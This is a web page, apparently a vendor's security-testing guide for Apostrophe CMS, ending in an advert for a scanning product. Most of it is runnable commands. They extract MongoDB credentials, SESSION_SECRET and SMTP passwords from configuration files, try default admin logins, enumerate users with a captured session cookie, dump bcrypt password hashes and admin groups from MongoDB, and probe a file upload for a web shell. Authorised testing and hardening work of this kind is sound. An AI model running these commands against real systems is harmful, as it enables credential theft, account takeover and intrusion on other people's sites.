Apostrophe CMS Security Testing: Default Credentials, API Key, Database, and CMS

Apostrophe CMS is a Node.js CMS built on Express and MongoDB, used by agencies and enterprises. Key assessment areas: data/local.js or environment variables expose MongoDB connection strings with credentials; admin credentials at /login; apostrophe-users collection stores bcrypt hashes with _groups identifying admin accounts; the REST API exposes piece and page content; and uploaded files in /uploads/ may enable web shell execution if serving is misconfigured. This guide covers systematic Apostrophe CMS security assessment.

Table of Contents

  1. data/local.js MongoDB Credential and SESSION_SECRET Extraction
  2. REST API and Admin Panel Assessment
  3. MongoDB apostrophe-users Hash and Content Extraction
  4. Apostrophe CMS Security Hardening

data/local.js MongoDB Credential and SESSION_SECRET Extraction

# Apostrophe CMS — data/local.js MongoDB and SESSION_SECRET extraction
APOS_URL="https://site.example.com"

# data/local.js — Apostrophe CMS local configuration (overrides app.js)
node -e "
const cfg = require('/var/www/apostrophe/data/local.js');
if (cfg.db && cfg.db.uri) console.log('MongoDB URI:', cfg.db.uri);
if (cfg.session && cfg.session.secret) console.log('SESSION_SECRET:', cfg.session.secret.slice(0,60));
if (cfg.modules) {
  const email = cfg.modules['apostrophe-email'];
  if (email && email.nodemailer) console.log('SMTP password:', JSON.stringify(email.nodemailer).slice(0,60));
}
" 2>/dev/null
# MongoDB URI format: mongodb://user:password@host:27017/database  (CRITICAL)
# SESSION_SECRET: used for Express session signing — extract enables session forgery

# Environment variable extraction (Apostrophe 3.x uses .env)
grep -E "MONGO|SESSION|SECRET|PASSWORD" /var/www/apostrophe/.env 2>/dev/null | head -10

# Check data/local.js web access (must return 403)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${APOS_URL}/data/local.js" 2>/dev/null)
echo "/data/local.js: HTTP ${STATUS}"

# Apostrophe admin at /login
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${APOS_URL}/login" 2>/dev/null)
echo "/login: HTTP ${STATUS}"

# Test default credentials
for CRED in "admin@site.com:admin" "admin:admin" "admin@apostrophe.com:admin123"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  RESPONSE=$(curl -s -X POST "${APOS_URL}/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"${USER}\",\"password\":\"${PASS}\"}" \
    -c /tmp/apos_c 2>/dev/null)
  echo "${USER}/${PASS}: $(echo $RESPONSE | head -c 50)"
done

REST API and Admin Panel Assessment

# Apostrophe CMS REST API and admin panel assessment
APOS_URL="https://site.example.com"
SESSION="extracted-session-cookie"

# Apostrophe 3.x REST API — piece type enumeration
# Requires authentication; pieces include custom types and users
curl -s "${APOS_URL}/api/v1/@apostrophecms/user" \
  -H "Cookie: ${SESSION}" 2>/dev/null | \
  python3 -c "
import json, sys
d = json.load(sys.stdin)
results = d.get('results', [])
for u in results:
    print(f'{u.get(\"username\")} | {u.get(\"email\")} | groups: {u.get(\"_groups\")}')
" 2>/dev/null

# Apostrophe 2.x REST API (if apostrophe-headless module installed)
curl -s "${APOS_URL}/api/v1/apostrophe-pages/pages" \
  -H "Cookie: ${SESSION}" 2>/dev/null | head -10

# Apostrophe draft content — workflow module (if installed)
curl -s "${APOS_URL}/api/v1/@apostrophecms/page?_edit=1&aposMode=draft" \
  -H "Cookie: ${SESSION}" 2>/dev/null | head -10

# Apostrophe upload endpoint — file upload
curl -s -X POST "${APOS_URL}/api/v1/@apostrophecms/attachment/upload" \
  -H "Cookie: ${SESSION}" \
  -F "file=@/tmp/test.html" 2>/dev/null | head -5

# /uploads/ directory listing
curl -s "${APOS_URL}/uploads/" 2>/dev/null | grep -oE 'href="[^"]*"' | head -10

MongoDB apostrophe-users Hash and Content Extraction

# Apostrophe CMS MongoDB — apostrophe-users hash and content extraction
MONGO_PASS="extracted-mongodb-password"
DB_NAME="apostrophe"

mongosh "mongodb://apostrophe:${MONGO_PASS}@localhost:27017/${DB_NAME}" \
  --quiet --eval '
// apostrophe-users — user accounts with bcrypt hashes (Apostrophe 2.x)
db.apostrophe_users.find(
  { disabled: { $ne: true } },
  { username: 1, email: 1, password: 1, _groups: 1, createdAt: 1 }
).sort({ createdAt: 1 }).limit(20).forEach(function(u) {
  print(u.username + " | " + (u.email || "") + " | " + (u.password || "").slice(0,40) + " | " + JSON.stringify(u._groups || []));
});
// password: bcrypt hash ($2b$...)
// _groups: array of group IDs — admin group has all permissions

// @apostrophecms/user — Apostrophe 3.x user collection
db["@apostrophecms/user"].find(
  {},
  { username: 1, email: 1, password: 1, role: 1, archivedAt: 1 }
).sort({ updatedAt: -1 }).limit(20).forEach(function(u) {
  print((u.username || u.email) + " | role: " + (u.role || "guest") + " | pw: " + (u.password || "").slice(0,40));
});

// Draft content enumeration (apostrophe-workflow)
db.apostrophe_workflow_docs.find(
  { workflowGuid: { $exists: true }, type: { $ne: "apostrophe-workflow-commit" } },
  { title: 1, type: 1, workflowMode: 1, updatedAt: 1 }
).sort({ updatedAt: -1 }).limit(20).forEach(function(d) {
  print(d.title + " | " + d.type + " | " + (d.workflowMode || "draft"));
});
' 2>/dev/null

Apostrophe CMS Security Hardening

Apostrophe CMS Security Hardening Checklist:
Security TestMethodRisk
data/local.js MongoDB URI password and SESSION_SECRET extractionRead data/local.js — db.uri MongoDB password + session.secret signing key; full database access + session forgery without credentialsCritical
apostrophe-users bcrypt hash extraction with admin group identificationMongoDB db.apostrophe_users.find() — password ($2b$ bcrypt) + _groups admin membership; bcrypt requires GPU cracking but admin session enables full CMSHigh
Admin credential brute-force at /loginPOST /login JSON — username/password; no rate limiting; admin session enables user management, content editing, and file uploadsHigh
Apostrophe 3.x REST API @apostrophecms/user enumerationGET /api/v1/@apostrophecms/user with session cookie — enumerate all users, email addresses, and roles; role=admin identifies privileged accountsHigh
Upload /public/uploads/ web shell via attachment API with MIME bypassPOST /api/v1/@apostrophecms/attachment/upload — upload file with executable extension; if server serves /uploads/ with script execution, achieves web shell RCEHigh

Automate Apostrophe CMS Security Testing

Ironimo tests Apostrophe CMS deployments for data/local.js MongoDB URI password and SESSION_SECRET web accessibility, admin credential brute-force at /login, apostrophe-users bcrypt hash extraction with admin group identification, Apostrophe 3.x REST API /api/v1/@apostrophecms/user enumeration, attachment upload MIME type bypass for /uploads/ web shell execution, MongoDB unauthenticated port 27017 exposure assessment, .env MONGO and SESSION_SECRET exposure, apostrophe-workflow draft content enumeration, /data/ and /node_modules/ web accessibility verification, and npm audit dependency CVE cross-reference.

Start free scan